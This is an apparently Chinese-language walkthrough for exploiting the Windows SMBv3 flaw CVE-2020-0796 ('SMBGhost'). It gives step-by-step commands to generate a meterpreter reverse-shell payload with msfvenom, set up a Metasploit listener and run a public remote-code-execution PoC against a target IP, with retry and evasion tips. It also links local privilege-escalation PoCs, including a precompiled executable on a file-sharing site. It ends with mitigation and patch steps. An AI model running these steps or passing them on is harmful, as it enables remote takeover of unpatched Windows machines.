CVE-2020-0796 RCE和LPE


CVE-2020-0796

漏洞概述

CVE-2020-0796 | Windows SMBv3 客户端/服务器远程代码执行漏洞

Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以获取在目标服务器或客户端上执行代码的能力。

要利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标 SMBv3 服务器。要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的 SMBv3 服务器,并说服用户连接到该服务器。

此安全更新通过更正 SMBv3 协议处理这些特制请求的方式来修复此漏洞

漏洞影响版本

Windows 10版本1903(用于32位系统)

Windows 10版本1903(用于基于ARM64的系统)

Windows 10版本1903(用于基于x64的系统)

Windows 10版本1909(用于32位系统)

Windows 10版本1909(用于基于ARM64的系统)

Windows 10版本1909(用于)基于x64的系统

Windows Server 1903版(服务器核心安装)

Windows Server 1909版(服务器核心安装)

漏洞检测

https://github.com/ollypwn/SMBGhost

https://github.com/ClarotyICS/CVE2020-0796

远程代码执行-POC

来源

https://github.com/chompie1337/SMBGhost_RCE_PoC/

漏洞利用

系统版本

下载代码

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

生成python版的反向链接shellcode

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.140 LPORT=1234 -f python -o 123.py

将生成的shellcode的里的buf全部替换为USER_PAYLOAD

用修改后的shellcode替换exploit.py里原来的shellcode

启动msf

msf5 > use exploit/multi/handler #设置模块
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp #设置反弹shell类型
msf5 exploit(multi/handler) > set lport 1234 #设置本地端口
msf5 exploit(multi/handler) > set lhost 192.168.2.140 #设置本地IP
msf5 exploit(multi/handler) > run #开始监听

执行exp(请使用python3,python2会导致蓝屏,exp不一定是一次成功,请多试几次,如果成功会提示按任意键发送shellcode,实际是按回车发送)

python3 exploit.py -ip 192.168.2.107

成功反弹shell

如果exp一直执行失败请检查是否被安全软件拦截

也可在手机上进行复现(使用termux)

本地提权-POC

源代码

C++版

https://github.com/danigargu/CVE-2020-0796

Python版

https://github.com/ZecOps/CVE-2020-0796-LPE-POC

漏洞利用

系统版本

C++

已编译好的文件

cve-2020-0796-local.exe

https://pan.baidu.com/s/1aaUO7_EX2m6fWUYcl30cZA

MD5: A51599467EE9CB676F5C29EBE5AC8DF6
SHA-256: 11F4D4957090535E9F99ED305AEB3B2E6D28A5F5E495AE444EDB839C2FEFFB36

Python

修复方式

1.禁用 SMBv3 压缩

您可以使用以下 PowerShell 命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

注意:

  1. 进行更改后,无需重启。
  2. 此解决方法不能阻止利用 SMB 客户端;请参阅常见问题解答下的第 2 项,以保护客户端。
  3. Windows 或 Windows Server 尚未使用 SMB 压缩,并且禁用 SMB 压缩不会产生负面的性能影响。

你可以使用下面的 PowerShell 命令禁用该变通方法。

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

注意: 禁用此解决方法后,无需重启。

2.打补丁

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

3.更新至2004


  目录